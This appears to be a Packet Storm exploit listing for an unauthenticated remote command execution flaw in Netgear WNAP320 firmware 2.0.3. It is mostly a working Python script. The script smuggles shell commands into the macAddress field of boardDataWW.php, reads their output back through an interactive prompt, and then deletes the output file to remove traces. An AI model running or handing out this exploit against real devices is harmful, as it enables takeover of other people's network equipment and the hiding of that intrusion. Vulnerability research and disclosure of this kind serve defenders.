Netgear WNAP320 2.0.3 Remote Code Execution

Netgear WNAP320 version 2.0.3 suffers from an unauthenticated remote code execution vulnerability.


MD5 | 6d46233dd769ed00d87833e2d972880f

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# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3

import requests
import sys

if(len(sys.argv) != 2):
  print('Must specify the IP parameter')
  print("eg: python3 wnap320_v2_0_3.py <IP>")
  sys.exit(0)

host = sys.argv[1]
port = 80

cmd = ''

while(True):
  cmd = input('Shell_CMD$ ')
  #injecting system command part writing the command output to a output file
  data = {
    'macAddress' : '112233445566;' + cmd + ' > ./output #',
    'reginfo' : '0',
    'writeData' : 'Submit'
  } 

  url = 'http://' + host + '/boardDataWW.php'
  response = requests.post(url, data=data)

  if(response.ok):
    #read the command output result
    url = 'http://' + host + '/output'
    cmdOutput = requests.get(url)
    print(cmdOutput.text)

    #remove trace
    cmd = 'rm ./output'
    data = {
      'macAddress' : '112233445566;' + cmd + ' #',
      'reginfo' : '0',
      'writeData' : 'Submit'
    }
    url = 'http://' + host + '/boardDataWW.php'
    response = requests.post(url, data=data)
  else:
    print('[!] No response from the server.')


Source: packetstormsecurity.com
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